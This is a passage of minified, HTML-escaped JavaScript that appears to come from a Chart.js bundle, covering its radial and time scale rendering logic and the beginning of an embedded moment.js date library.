0===decimal&amp;&amp;0===me.min?0:Math.pow(10,me._startValue+(decimal-me._valueOffset)*me._valueRange)}}),_defaults$2=defaultConfig$2;scale_logarithmic._defaults=_defaults$2;var valueOrDefault$c=helpers$1.valueOrDefault,valueAtIndexOrDefault$1=helpers$1.valueAtIndexOrDefault,resolve$4=helpers$1.options.resolve,defaultConfig$3={display:!0,animate:!0,position:&quot;chartArea&quot;,angleLines:{display:!0,color:&quot;rgba(0,0,0,0.1)&quot;,lineWidth:1,borderDash:[],borderDashOffset:0},gridLines:{circular:!1},ticks:{showLabelBackdrop:!0,backdropColor:&quot;rgba(255,255,255,0.75)&quot;,backdropPaddingY:2,backdropPaddingX:2,callback:core_ticks.formatters.linear},pointLabels:{display:!0,fontSize:10,callback:function(label){return label}}};function getTickBackdropHeight(opts){var tickOpts=opts.ticks;return tickOpts.display&amp;&amp;opts.display?valueOrDefault$c(tickOpts.fontSize,core_defaults.global.defaultFontSize)+2*tickOpts.backdropPaddingY:0}function determineLimits(angle,pos,size,min,max){return angle===min||angle===max?{start:pos-size/2,end:pos+size/2}:angle&lt;min||angle&gt;max?{start:pos-size,end:pos}:{start:pos,end:pos+size}}function getTextAlignForAngle(angle){return 0===angle||180===angle?&quot;center&quot;:angle&lt;180?&quot;left&quot;:&quot;right&quot;}function fillText(ctx,text,position,lineHeight){var i,ilen,y=position.y+lineHeight/2;if(helpers$1.isArray(text))for(i=0,ilen=text.length;i&lt;ilen;++i)ctx.fillText(text[i],position.x,y),y+=lineHeight;else ctx.fillText(text,position.x,y)}function adjustPointPositionForLabelHeight(angle,textSize,position){90===angle||270===angle?position.y-=textSize.h/2:(angle&gt;270||angle&lt;90)&amp;&amp;(position.y-=textSize.h)}function numberOrZero(param){return helpers$1.isNumber(param)?param:0}var scale_radialLinear=scale_linearbase.extend({setDimensions:function(){var me=this;me.width=me.maxWidth,me.height=me.maxHeight,me.paddingTop=getTickBackdropHeight(me.options)/2,me.xCenter=Math.floor(me.width/2),me.yCenter=Math.floor((me.height-me.paddingTop)/2),me.drawingArea=Math.min(me.height-me.paddingTop,me.width)/2},determineDataLimits:function(){var me=this,chart=me.chart,min=Number.POSITIVE_INFINITY,max=Number.NEGATIVE_INFINITY;helpers$1.each(chart.data.datasets,(function(dataset,datasetIndex){if(chart.isDatasetVisible(datasetIndex)){var meta=chart.getDatasetMeta(datasetIndex);helpers$1.each(dataset.data,(function(rawValue,index){var value=+me.getRightValue(rawValue);isNaN(value)||meta.data[index].hidden||(min=Math.min(value,min),max=Math.max(value,max))}))}})),me.min=min===Number.POSITIVE_INFINITY?0:min,me.max=max===Number.NEGATIVE_INFINITY?0:max,me.handleTickRangeOptions()},_computeTickLimit:function(){return Math.ceil(this.drawingArea/getTickBackdropHeight(this.options))},convertTicksToLabels:function(){var me=this;scale_linearbase.prototype.convertTicksToLabels.call(me),me.pointLabels=me.chart.data.labels.map((function(){var label=helpers$1.callback(me.options.pointLabels.callback,arguments,me);return label||0===label?label:&quot;&quot;}))},getLabelForIndex:function(index,datasetIndex){return+this.getRightValue(this.chart.data.datasets[datasetIndex].data[index])},fit:function(){var opts=this.options;opts.display&amp;&amp;opts.pointLabels.display?function(scale){var i,textSize,pointPosition,plFont=helpers$1.options._parseFont(scale.options.pointLabels),furthestLimits={l:0,r:scale.width,t:0,b:scale.height-scale.paddingTop},furthestAngles={};scale.ctx.font=plFont.string,scale._pointLabelSizes=[];var ctx,lineHeight,label,valueCount=scale.chart.data.labels.length;for(i=0;i&lt;valueCount;i++){pointPosition=scale.getPointPosition(i,scale.drawingArea+5),ctx=scale.ctx,lineHeight=plFont.lineHeight,label=scale.pointLabels[i],textSize=helpers$1.isArray(label)?{w:helpers$1.longestText(ctx,ctx.font,label),h:label.length*lineHeight}:{w:ctx.measureText(label).width,h:lineHeight},scale._pointLabelSizes[i]=textSize;var angleRadians=scale.getIndexAngle(i),angle=helpers$1.toDegrees(angleRadians)%360,hLimits=determineLimits(angle,pointPosition.x,textSize.w,0,180),vLimits=determineLimits(angle,pointPosition.y,textSize.h,90,270);hLimits.start&lt;furthestLimits.l&amp;&amp;(furthestLimits.l=hLimits.start,furthestAngles.l=angleRadians),hLimits.end&gt;furthestLimits.r&amp;&amp;(furthestLimits.r=hLimits.end,furthestAngles.r=angleRadians),vLimits.start&lt;furthestLimits.t&amp;&amp;(furthestLimits.t=vLimits.start,furthestAngles.t=angleRadians),vLimits.end&gt;furthestLimits.b&amp;&amp;(furthestLimits.b=vLimits.end,furthestAngles.b=angleRadians)}scale.setReductions(scale.drawingArea,furthestLimits,furthestAngles)}(this):this.setCenterPoint(0,0,0,0)},setReductions:function(largestPossibleRadius,furthestLimits,furthestAngles){var me=this,radiusReductionLeft=furthestLimits.l/Math.sin(furthestAngles.l),radiusReductionRight=Math.max(furthestLimits.r-me.width,0)/Math.sin(furthestAngles.r),radiusReductionTop=-furthestLimits.t/Math.cos(furthestAngles.t),radiusReductionBottom=-Math.max(furthestLimits.b-(me.height-me.paddingTop),0)/Math.cos(furthestAngles.b);radiusReductionLeft=numberOrZero(radiusReductionLeft),radiusReductionRight=numberOrZero(radiusReductionRight),radiusReductionTop=numberOrZero(radiusReductionTop),radiusReductionBottom=numberOrZero(radiusReductionBottom),me.drawingArea=Math.min(Math.floor(largestPossibleRadius-(radiusReductionLeft+radiusReductionRight)/2),Math.floor(largestPossibleRadius-(radiusReductionTop+radiusReductionBottom)/2)),me.setCenterPoint(radiusReductionLeft,radiusReductionRight,radiusReductionTop,radiusReductionBottom)},setCenterPoint:function(leftMovement,rightMovement,topMovement,bottomMovement){var me=this,maxRight=me.width-rightMovement-me.drawingArea,maxLeft=leftMovement+me.drawingArea,maxTop=topMovement+me.drawingArea,maxBottom=me.height-me.paddingTop-bottomMovement-me.drawingArea;me.xCenter=Math.floor((maxLeft+maxRight)/2+me.left),me.yCenter=Math.floor((maxTop+maxBottom)/2+me.top+me.paddingTop)},getIndexAngle:function(index){var chart=this.chart,angle=(index*(360/chart.data.labels.length)+((chart.options||{}).startAngle||0))%360;return(angle&lt;0?angle+360:angle)*Math.PI*2/360},getDistanceFromCenterForValue:function(value){var me=this;if(helpers$1.isNullOrUndef(value))return NaN;var scalingFactor=me.drawingArea/(me.max-me.min);return me.options.ticks.reverse?(me.max-value)*scalingFactor:(value-me.min)*scalingFactor},getPointPosition:function(index,distanceFromCenter){var thisAngle=this.getIndexAngle(index)-Math.PI/2;return{x:Math.cos(thisAngle)*distanceFromCenter+this.xCenter,y:Math.sin(thisAngle)*distanceFromCenter+this.yCenter}},getPointPositionForValue:function(index,value){return this.getPointPosition(index,this.getDistanceFromCenterForValue(value))},getBasePosition:function(index){var min=this.min,max=this.max;return this.getPointPositionForValue(index||0,this.beginAtZero?0:min&lt;0&amp;&amp;max&lt;0?max:min&gt;0&amp;&amp;max&gt;0?min:0)},_drawGrid:function(){var i,offset,position,me=this,ctx=me.ctx,opts=me.options,gridLineOpts=opts.gridLines,angleLineOpts=opts.angleLines,lineWidth=valueOrDefault$c(angleLineOpts.lineWidth,gridLineOpts.lineWidth),lineColor=valueOrDefault$c(angleLineOpts.color,gridLineOpts.color);if(opts.pointLabels.display&amp;&amp;function(scale){var ctx=scale.ctx,opts=scale.options,pointLabelOpts=opts.pointLabels,tickBackdropHeight=getTickBackdropHeight(opts),outerDistance=scale.getDistanceFromCenterForValue(opts.ticks.reverse?scale.min:scale.max),plFont=helpers$1.options._parseFont(pointLabelOpts);ctx.save(),ctx.font=plFont.string,ctx.textBaseline=&quot;middle&quot;;for(var i=scale.chart.data.labels.length-1;i&gt;=0;i--){var extra=0===i?tickBackdropHeight/2:0,pointLabelPosition=scale.getPointPosition(i,outerDistance+extra+5),pointLabelFontColor=valueAtIndexOrDefault$1(pointLabelOpts.fontColor,i,core_defaults.global.defaultFontColor);ctx.fillStyle=pointLabelFontColor;var angleRadians=scale.getIndexAngle(i),angle=helpers$1.toDegrees(angleRadians);ctx.textAlign=getTextAlignForAngle(angle),adjustPointPositionForLabelHeight(angle,scale._pointLabelSizes[i],pointLabelPosition),fillText(ctx,scale.pointLabels[i],pointLabelPosition,plFont.lineHeight)}ctx.restore()}(me),gridLineOpts.display&amp;&amp;helpers$1.each(me.ticks,(function(label,index){0!==index&amp;&amp;(offset=me.getDistanceFromCenterForValue(me.ticksAsNumbers[index]),function(scale,gridLineOpts,radius,index){var pointPosition,ctx=scale.ctx,circular=gridLineOpts.circular,valueCount=scale.chart.data.labels.length,lineColor=valueAtIndexOrDefault$1(gridLineOpts.color,index-1),lineWidth=valueAtIndexOrDefault$1(gridLineOpts.lineWidth,index-1);if((circular||valueCount)&amp;&amp;lineColor&amp;&amp;lineWidth){if(ctx.save(),ctx.strokeStyle=lineColor,ctx.lineWidth=lineWidth,ctx.setLineDash&amp;&amp;(ctx.setLineDash(gridLineOpts.borderDash||[]),ctx.lineDashOffset=gridLineOpts.borderDashOffset||0),ctx.beginPath(),circular)ctx.arc(scale.xCenter,scale.yCenter,radius,0,2*Math.PI);else{pointPosition=scale.getPointPosition(0,radius),ctx.moveTo(pointPosition.x,pointPosition.y);for(var i=1;i&lt;valueCount;i++)pointPosition=scale.getPointPosition(i,radius),ctx.lineTo(pointPosition.x,pointPosition.y)}ctx.closePath(),ctx.stroke(),ctx.restore()}}(me,gridLineOpts,offset,index))})),angleLineOpts.display&amp;&amp;lineWidth&amp;&amp;lineColor){for(ctx.save(),ctx.lineWidth=lineWidth,ctx.strokeStyle=lineColor,ctx.setLineDash&amp;&amp;(ctx.setLineDash(resolve$4([angleLineOpts.borderDash,gridLineOpts.borderDash,[]])),ctx.lineDashOffset=resolve$4([angleLineOpts.borderDashOffset,gridLineOpts.borderDashOffset,0])),i=me.chart.data.labels.length-1;i&gt;=0;i--)offset=me.getDistanceFromCenterForValue(opts.ticks.reverse?me.min:me.max),position=me.getPointPosition(i,offset),ctx.beginPath(),ctx.moveTo(me.xCenter,me.yCenter),ctx.lineTo(position.x,position.y),ctx.stroke();ctx.restore()}},_drawLabels:function(){var me=this,ctx=me.ctx,tickOpts=me.options.ticks;if(tickOpts.display){var offset,width,startAngle=me.getIndexAngle(0),tickFont=helpers$1.options._parseFont(tickOpts),tickFontColor=valueOrDefault$c(tickOpts.fontColor,core_defaults.global.defaultFontColor);ctx.save(),ctx.font=tickFont.string,ctx.translate(me.xCenter,me.yCenter),ctx.rotate(startAngle),ctx.textAlign=&quot;center&quot;,ctx.textBaseline=&quot;middle&quot;,helpers$1.each(me.ticks,(function(label,index){(0!==index||tickOpts.reverse)&amp;&amp;(offset=me.getDistanceFromCenterForValue(me.ticksAsNumbers[index]),tickOpts.showLabelBackdrop&amp;&amp;(width=ctx.measureText(label).width,ctx.fillStyle=tickOpts.backdropColor,ctx.fillRect(-width/2-tickOpts.backdropPaddingX,-offset-tickFont.size/2-tickOpts.backdropPaddingY,width+2*tickOpts.backdropPaddingX,tickFont.size+2*tickOpts.backdropPaddingY)),ctx.fillStyle=tickFontColor,ctx.fillText(label,0,-offset))})),ctx.restore()}},_drawTitle:helpers$1.noop}),_defaults$3=defaultConfig$3;scale_radialLinear._defaults=_defaults$3;var deprecated$1=helpers$1._deprecated,resolve$5=helpers$1.options.resolve,valueOrDefault$d=helpers$1.valueOrDefault,MIN_INTEGER=Number.MIN_SAFE_INTEGER||-9007199254740991,MAX_INTEGER=Number.MAX_SAFE_INTEGER||9007199254740991,INTERVALS={millisecond:{common:!0,size:1,steps:1e3},second:{common:!0,size:1e3,steps:60},minute:{common:!0,size:6e4,steps:60},hour:{common:!0,size:36e5,steps:24},day:{common:!0,size:864e5,steps:30},week:{common:!1,size:6048e5,steps:4},month:{common:!0,size:2628e6,steps:12},quarter:{common:!1,size:7884e6,steps:4},year:{common:!0,size:3154e7}},UNITS=Object.keys(INTERVALS);function sorter(a,b){return a-b}function getMin(options){return helpers$1.valueOrDefault(options.time.min,options.ticks.min)}function getMax(options){return helpers$1.valueOrDefault(options.time.max,options.ticks.max)}function interpolate$1(table,skey,sval,tkey){var range=function(table,key,value){for(var mid,i0,i1,lo=0,hi=table.length-1;lo&gt;=0&amp;&amp;lo&lt;=hi;){if(i0=table[(mid=lo+hi&gt;&gt;1)-1]||null,i1=table[mid],!i0)return{lo:null,hi:i1};if(i1[key]&lt;value)lo=mid+1;else{if(!(i0[key]&gt;value))return{lo:i0,hi:i1};hi=mid-1}}return{lo:i1,hi:null}}(table,skey,sval),prev=range.lo?range.hi?range.lo:table[table.length-2]:table[0],next=range.lo?range.hi?range.hi:table[table.length-1]:table[1],span=next[skey]-prev[skey],ratio=span?(sval-prev[skey])/span:0,offset=(next[tkey]-prev[tkey])*ratio;return prev[tkey]+offset}function toTimestamp(scale,input){var adapter=scale._adapter,options=scale.options.time,parser=options.parser,format=parser||options.format,value=input;return&quot;function&quot;==typeof parser&amp;&amp;(value=parser(value)),helpers$1.isFinite(value)||(value=&quot;string&quot;==typeof format?adapter.parse(value,format):adapter.parse(value)),null!==value?+value:(parser||&quot;function&quot;!=typeof format||(value=format(input),helpers$1.isFinite(value)||(value=adapter.parse(value))),value)}function parse(scale,input){if(helpers$1.isNullOrUndef(input))return null;var options=scale.options.time,value=toTimestamp(scale,scale.getRightValue(input));return null===value||options.round&amp;&amp;(value=+scale._adapter.startOf(value,options.round)),value}function determineUnitForAutoTicks(minUnit,min,max,capacity){var i,interval,factor,ilen=UNITS.length;for(i=UNITS.indexOf(minUnit);i&lt;ilen-1;++i)if(factor=(interval=INTERVALS[UNITS[i]]).steps?interval.steps:MAX_INTEGER,interval.common&amp;&amp;Math.ceil((max-min)/(factor*interval.size))&lt;=capacity)return UNITS[i];return UNITS[ilen-1]}function ticksFromTimestamps(scale,values,majorUnit){var i,value,ticks=[],map={},ilen=values.length;for(i=0;i&lt;ilen;++i)map[value=values[i]]=i,ticks.push({value:value,major:!1});return 0!==ilen&amp;&amp;majorUnit?function(scale,ticks,map,majorUnit){var major,index,adapter=scale._adapter,first=+adapter.startOf(ticks[0].value,majorUnit),last=ticks[ticks.length-1].value;for(major=first;major&lt;=last;major=+adapter.add(major,1,majorUnit))(index=map[major])&gt;=0&amp;&amp;(ticks[index].major=!0);return ticks}(scale,ticks,map,majorUnit):ticks}var scale_time=core_scale.extend({initialize:function(){this.mergeTicksOptions(),core_scale.prototype.initialize.call(this)},update:function(){var me=this,options=me.options,time=options.time||(options.time={}),adapter=me._adapter=new core_adapters._date(options.adapters.date);return deprecated$1(&quot;time scale&quot;,time.format,&quot;time.format&quot;,&quot;time.parser&quot;),deprecated$1(&quot;time scale&quot;,time.min,&quot;time.min&quot;,&quot;ticks.min&quot;),deprecated$1(&quot;time scale&quot;,time.max,&quot;time.max&quot;,&quot;ticks.max&quot;),helpers$1.mergeIf(time.displayFormats,adapter.formats()),core_scale.prototype.update.apply(me,arguments)},getRightValue:function(rawValue){return rawValue&amp;&amp;void 0!==rawValue.t&amp;&amp;(rawValue=rawValue.t),core_scale.prototype.getRightValue.call(this,rawValue)},determineDataLimits:function(){var i,j,ilen,jlen,data,timestamp,labelsAdded,me=this,chart=me.chart,adapter=me._adapter,options=me.options,unit=options.time.unit||&quot;day&quot;,min=MAX_INTEGER,max=MIN_INTEGER,timestamps=[],datasets=[],labels=[],dataLabels=me._getLabels();for(i=0,ilen=dataLabels.length;i&lt;ilen;++i)labels.push(parse(me,dataLabels[i]));for(i=0,ilen=(chart.data.datasets||[]).length;i&lt;ilen;++i)if(chart.isDatasetVisible(i))if(data=chart.data.datasets[i].data,helpers$1.isObject(data[0]))for(datasets[i]=[],j=0,jlen=data.length;j&lt;jlen;++j)timestamp=parse(me,data[j]),timestamps.push(timestamp),datasets[i][j]=timestamp;else datasets[i]=labels.slice(0),labelsAdded||(timestamps=timestamps.concat(labels),labelsAdded=!0);else datasets[i]=[];labels.length&amp;&amp;(min=Math.min(min,labels[0]),max=Math.max(max,labels[labels.length-1])),timestamps.length&amp;&amp;(timestamps=ilen&gt;1?function(items){var i,ilen,item,hash={},out=[];for(i=0,ilen=items.length;i&lt;ilen;++i)hash[item=items[i]]||(hash[item]=!0,out.push(item));return out}(timestamps).sort(sorter):timestamps.sort(sorter),min=Math.min(min,timestamps[0]),max=Math.max(max,timestamps[timestamps.length-1])),min=parse(me,getMin(options))||min,max=parse(me,getMax(options))||max,min=min===MAX_INTEGER?+adapter.startOf(Date.now(),unit):min,max=max===MIN_INTEGER?+adapter.endOf(Date.now(),unit)+1:max,me.min=Math.min(min,max),me.max=Math.max(min+1,max),me._table=[],me._timestamps={data:timestamps,datasets:datasets,labels:labels}},buildTicks:function(){var i,ilen,timestamp,me=this,min=me.min,max=me.max,options=me.options,tickOpts=options.ticks,timeOpts=options.time,timestamps=me._timestamps,ticks=[],capacity=me.getLabelCapacity(min),source=tickOpts.source,distribution=options.distribution;for(timestamps=&quot;data&quot;===source||&quot;auto&quot;===source&amp;&amp;&quot;series&quot;===distribution?timestamps.data:&quot;labels&quot;===source?timestamps.labels:function(scale,min,max,capacity){var time,adapter=scale._adapter,options=scale.options,timeOpts=options.time,minor=timeOpts.unit||determineUnitForAutoTicks(timeOpts.minUnit,min,max,capacity),stepSize=resolve$5([timeOpts.stepSize,timeOpts.unitStepSize,1]),weekday=&quot;week&quot;===minor&amp;&amp;timeOpts.isoWeekday,first=min,ticks=[];if(weekday&amp;&amp;(first=+adapter.startOf(first,&quot;isoWeek&quot;,weekday)),first=+adapter.startOf(first,weekday?&quot;day&quot;:minor),adapter.diff(max,min,minor)&gt;1e5*stepSize)throw min+&quot; and &quot;+max+&quot; are too far apart with stepSize of &quot;+stepSize+&quot; &quot;+minor;for(time=first;time&lt;max;time=+adapter.add(time,stepSize,minor))ticks.push(time);return time!==max&amp;&amp;&quot;ticks&quot;!==options.bounds||ticks.push(time),ticks}(me,min,max,capacity),&quot;ticks&quot;===options.bounds&amp;&amp;timestamps.length&amp;&amp;(min=timestamps[0],max=timestamps[timestamps.length-1]),min=parse(me,getMin(options))||min,max=parse(me,getMax(options))||max,i=0,ilen=timestamps.length;i&lt;ilen;++i)(timestamp=timestamps[i])&gt;=min&amp;&amp;timestamp&lt;=max&amp;&amp;ticks.push(timestamp);return me.min=min,me.max=max,me._unit=timeOpts.unit||(tickOpts.autoSkip?determineUnitForAutoTicks(timeOpts.minUnit,me.min,me.max,capacity):function(scale,numTicks,minUnit,min,max){var i,unit;for(i=UNITS.length-1;i&gt;=UNITS.indexOf(minUnit);i--)if(unit=UNITS[i],INTERVALS[unit].common&amp;&amp;scale._adapter.diff(max,min,unit)&gt;=numTicks-1)return unit;return UNITS[minUnit?UNITS.indexOf(minUnit):0]}(me,ticks.length,timeOpts.minUnit,me.min,me.max)),me._majorUnit=tickOpts.major.enabled&amp;&amp;&quot;year&quot;!==me._unit?function(unit){for(var i=UNITS.indexOf(unit)+1,ilen=UNITS.length;i&lt;ilen;++i)if(INTERVALS[UNITS[i]].common)return UNITS[i]}(me._unit):void 0,me._table=function(timestamps,min,max,distribution){if(&quot;linear&quot;===distribution||!timestamps.length)return[{time:min,pos:0},{time:max,pos:1}];var i,ilen,prev,curr,next,table=[],items=[min];for(i=0,ilen=timestamps.length;i&lt;ilen;++i)(curr=timestamps[i])&gt;min&amp;&amp;curr&lt;max&amp;&amp;items.push(curr);for(items.push(max),i=0,ilen=items.length;i&lt;ilen;++i)next=items[i+1],prev=items[i-1],curr=items[i],void 0!==prev&amp;&amp;void 0!==next&amp;&amp;Math.round((next+prev)/2)===curr||table.push({time:curr,pos:i/(ilen-1)});return table}(me._timestamps.data,min,max,distribution),me._offsets=function(table,ticks,min,max,options){var first,last,start=0,end=0;return options.offset&amp;&amp;ticks.length&amp;&amp;(first=interpolate$1(table,&quot;time&quot;,ticks[0],&quot;pos&quot;),start=1===ticks.length?1-first:(interpolate$1(table,&quot;time&quot;,ticks[1],&quot;pos&quot;)-first)/2,last=interpolate$1(table,&quot;time&quot;,ticks[ticks.length-1],&quot;pos&quot;),end=1===ticks.length?last:(last-interpolate$1(table,&quot;time&quot;,ticks[ticks.length-2],&quot;pos&quot;))/2),{start:start,end:end,factor:1/(start+1+end)}}(me._table,ticks,0,0,options),tickOpts.reverse&amp;&amp;ticks.reverse(),ticksFromTimestamps(me,ticks,me._majorUnit)},getLabelForIndex:function(index,datasetIndex){var me=this,adapter=me._adapter,data=me.chart.data,timeOpts=me.options.time,label=data.labels&amp;&amp;index&lt;data.labels.length?data.labels[index]:&quot;&quot;,value=data.datasets[datasetIndex].data[index];return helpers$1.isObject(value)&amp;&amp;(label=me.getRightValue(value)),timeOpts.tooltipFormat?adapter.format(toTimestamp(me,label),timeOpts.tooltipFormat):&quot;string&quot;==typeof label?label:adapter.format(toTimestamp(me,label),timeOpts.displayFormats.datetime)},tickFormatFunction:function(time,index,ticks,format){var adapter=this._adapter,options=this.options,formats=options.time.displayFormats,minorFormat=formats[this._unit],majorUnit=this._majorUnit,majorFormat=formats[majorUnit],tick=ticks[index],tickOpts=options.ticks,major=majorUnit&amp;&amp;majorFormat&amp;&amp;tick&amp;&amp;tick.major,label=adapter.format(time,format||(major?majorFormat:minorFormat)),nestedTickOpts=major?tickOpts.major:tickOpts.minor,formatter=resolve$5([nestedTickOpts.callback,nestedTickOpts.userCallback,tickOpts.callback,tickOpts.userCallback]);return formatter?formatter(label,index,ticks):label},convertTicksToLabels:function(ticks){var i,ilen,labels=[];for(i=0,ilen=ticks.length;i&lt;ilen;++i)labels.push(this.tickFormatFunction(ticks[i].value,i,ticks));return labels},getPixelForOffset:function(time){var offsets=this._offsets,pos=interpolate$1(this._table,&quot;time&quot;,time,&quot;pos&quot;);return this.getPixelForDecimal((offsets.start+pos)*offsets.factor)},getPixelForValue:function(value,index,datasetIndex){var time=null;if(void 0!==index&amp;&amp;void 0!==datasetIndex&amp;&amp;(time=this._timestamps.datasets[datasetIndex][index]),null===time&amp;&amp;(time=parse(this,value)),null!==time)return this.getPixelForOffset(time)},getPixelForTick:function(index){var ticks=this.getTicks();return index&gt;=0&amp;&amp;index&lt;ticks.length?this.getPixelForOffset(ticks[index].value):null},getValueForPixel:function(pixel){var offsets=this._offsets,pos=this.getDecimalForPixel(pixel)/offsets.factor-offsets.end,time=interpolate$1(this._table,&quot;pos&quot;,pos,&quot;time&quot;);return this._adapter._create(time)},_getLabelSize:function(label){var ticksOpts=this.options.ticks,tickLabelWidth=this.ctx.measureText(label).width,angle=helpers$1.toRadians(this.isHorizontal()?ticksOpts.maxRotation:ticksOpts.minRotation),cosRotation=Math.cos(angle),sinRotation=Math.sin(angle),tickFontSize=valueOrDefault$d(ticksOpts.fontSize,core_defaults.global.defaultFontSize);return{w:tickLabelWidth*cosRotation+tickFontSize*sinRotation,h:tickLabelWidth*sinRotation+tickFontSize*cosRotation}},getLabelWidth:function(label){return this._getLabelSize(label).w},getLabelCapacity:function(exampleTime){var me=this,timeOpts=me.options.time,displayFormats=timeOpts.displayFormats,format=displayFormats[timeOpts.unit]||displayFormats.millisecond,exampleLabel=me.tickFormatFunction(exampleTime,0,ticksFromTimestamps(me,[exampleTime],me._majorUnit),format),size=me._getLabelSize(exampleLabel),capacity=Math.floor(me.isHorizontal()?me.width/size.w:me.height/size.h);return me.options.offset&amp;&amp;capacity--,capacity&gt;0?capacity:1}}),_defaults$4={position:&quot;bottom&quot;,distribution:&quot;linear&quot;,bounds:&quot;data&quot;,adapters:{},time:{parser:!1,unit:!1,round:!1,displayFormat:!1,isoWeekday:!1,minUnit:&quot;millisecond&quot;,displayFormats:{}},ticks:{autoSkip:!1,source:&quot;auto&quot;,major:{enabled:!1}}};scale_time._defaults=_defaults$4;var scales={category:scale_category,linear:scale_linear,logarithmic:scale_logarithmic,radialLinear:scale_radialLinear,time:scale_time},moment=createCommonjsModule((function(module,exports){module.exports=function(){var hookCallback,some;function hooks(){return hookCallback.apply(null,arguments)}function setHookCallback(callback){hookCallback=callback}function isArray(input){return input instanceof Array||&quot;[object Array]&quot;===Object.prototype.toString.call(input)}function isObject(input){return null!=input&amp;&amp;&quot;[object Object]&quot;===Object.prototype.toString.call(input)}function isObjectEmpty(obj){if(Object.getOwnPropertyNames)return 0===Object.getOwnPropertyNames(obj).length;var k;for(k in obj)if(obj.hasOwnProperty(k))return!1;return!0}function isUndefined(input){return void 0===input}function isNumber(input){return&quot;number&quot;==typeof input||&quot;[object Number]&quot;===Object.prototype.toString.call(input)}function isDate(input){return input instanceof Date||&quot;[object Date]&quot;===Object.prototype.toString.call(input)}function map(arr,fn){var i,res=[];for(i=0;i&lt;arr.length;++i)res.push(fn(arr[i],i));return res}function hasOwnProp(a,b){return Object.prototype.hasOwnProperty.call(a,b)}function extend(a,b){for(var i in b)hasOwnProp(b,i)&amp;&amp;(a[i]=b[i]);return hasOwnProp(b,&quot;toString&quot;)&amp;&amp;(a.toString=b.toString),hasOwnProp(b,&quot;valueOf&quot;)&amp;&amp;(a.valueOf=b.valueOf),a}function createUTC(input,format,locale,strict){return createLocalOrUTC(input,format,locale,strict,!0).utc()}function defaultParsingFlags(){return{empty:!1,unusedTokens:[],unusedInput:[],overflow:-2,charsLeftOver:0,nullInput:!1,invalidMonth:null,invalidFormat:!1,userInvalidated:!1,iso:!1,parsedDateParts:[],meridiem:null,rfc2822:!1,weekdayMismatch:!1}}function getParsingFlags(m){return null==m._pf&amp;&amp;(m._pf=defaultParsingFlags()),m._pf}function isValid(m){if(null==m._isValid){var flags=getParsingFlags(m),parsedParts=some.call(flags.parsedDateParts,(function(i){return null!=i})),isNowValid=!isNaN(m._d.getTime())&amp;&amp;flags.overflow&lt;0&amp;&amp;!flags.empty&amp;&amp;!flags.invalidMonth&amp;&amp;!flags.invalidWeekday&amp;&amp;!flags.weekdayMismatch&amp;&amp;!flags.nullInput&amp;&amp;!flags.invalidFormat&amp;&amp;!flags.userInvalidated&amp;&amp;(!flags.meridiem||flags.meridiem&amp;&amp;parsedParts);if(m._strict&amp;&amp;(isNowValid=isNowValid&amp;&amp;0===flags.charsLeftOver&amp;&amp;0===flags.unusedTokens.length&amp;&amp;void 0===flags.bigHour),null!=Object.isFrozen&amp;&amp;Object.isFrozen(m))return isNowValid;m._isValid=isNowValid}return m._isValid}function createInvalid(flags){var m=createUTC(NaN);return null!=flags?extend(getParsingFlags(m),flags):getParsingFlags(m).userInvalidated=!0,m}some=Array.prototype.some?Array.prototype.some:function(fun){for(var t=Object(this),len=t.length&gt;&gt;&gt;0,i=0;i&lt;len;i++)if(i in t&amp;&amp;fun.call(this,t[i],i,t))return!0;return!1};var momentProperties=hooks.momentProperties=[];function copyConfig(to,from){var i,prop,val;if(isUndefined(from._isAMomentObject)||(to._isAMomentObject=from._isAMomentObject),isUndefined(from._i)||(to._i=from._i),isUndefined(from._f)||(to._f=from._f),isUndefined(from._l)||(to._l=from._l),isUndefined(from._strict)||(to._strict=from._strict),isUndefined(from._tzm)||(to._tzm=from._tzm),isUndefined(from._isUTC)||(to._isUTC=from._isUTC),isUndefined(from._offset)||(to._offset=from._offset),isUndefined(from._pf)||(to._pf=getParsingFlags(from)),isUndefined(from._locale)||(to._locale=from._locale),momentProperties.length&gt;0)for(i=0;i&lt;momentProperties.length;i++)isUndefined(val=from[prop=momentProperties[i]])||(to[prop]=val);return to}var updateInProgress=!1;function Moment(config){copyConfig(this,config),this._d=new Date(null!=config._d?config._d.getTime():NaN),this.isValid()||(this._d=new Date(NaN)),!1===updateInProgress&amp;&amp;(updateInProgress=!0,hooks.updateOffset(this),updateInProgress=!1)}function isMoment(obj){return obj instanceof Moment||null!=obj&amp;&amp;null!=obj._isAMomentObject}function absFloor(number){return number&lt;0?Math.ceil(number)||0:Math.floor(number)}function toInt(argumentForCoercion){var coercedNumber=+argumentForCoercion,value=0;return 0!==coercedNumber&amp;&amp;isFinite(coercedNumber)&amp;&amp;(value=absFloor(coercedNumber)),value}function compareArrays(array1,array2,dontConvert){var i,len=Math.min(array1.length,array2.length),lengthDiff=Math.abs(array1.length-array2.length),diffs=0;for(i=0;i&lt;len;i++)(dontConvert&amp;&amp;array1[i]!==array2[i]||!dontConvert&amp;&amp;toInt(array1[i])!==toInt(array2[i]))&amp;&amp;diffs++;return diffs+lengthDiff}function warn(msg){!1===hooks.suppressDeprecationWarnings&amp;&amp;&quot;undefined&quot;!=typeof console&amp;&amp;console.warn&amp;&amp;console.warn(&quot;Deprecation warning: &quot;+msg)}function deprecate(msg,fn){var firstTime=!0;return extend((function(){if(null!=hooks.deprecationHandler&amp;&amp;hooks.deprecationHandler(null,msg),firstTime){for(var arg,args=[],i=0;i&lt;arguments.length;i++){if(arg=&quot;&quot;,&quot;object&quot;==typeof arguments[i]){for(var key in arg+=&quot;\n[&quot;+i+&quot;] &quot;,arguments[0])arg+=key+&quot;: &quot;+arguments[0][key]+&quot;, &quot;;arg=arg.slice(0,-2)}else arg=arguments[i];args.push(arg)}warn(msg+&quot;\nArguments: &quot;+Array.prototype.slice.call(args).join(&quot;&quot;)+&quot;\n&quot;+(new Error).stack),firstTime=!1}return fn.apply(this,arguments)}),fn)}var keys,deprecations={};function deprecateSimple(name,msg){null!=hooks.deprecationHandler&amp;&amp;hooks.deprecationHandler(name,msg),deprecations[name]||(warn(msg),deprecations[name]=!0)}function isFunction(input){return input instanceof Function||&quot;[object Function]&quot;===Object.prototype.toString.call(input)}function set(config){var prop,i;for(i in config)isFunction(prop=config[i])?this[i]=prop:this[&quot;_&quot;+i]=prop;this._config=config,this._dayOfMonthOrdinalParseLenient=new RegExp((this._dayOfMonthOrdinalParse.source||this._ordinalParse.source)+&quot;|&quot;+/\d{1,2}/.source)}function mergeConfigs(parentConfig,childConfig){var prop,res=extend({},parentConfig);for(prop in 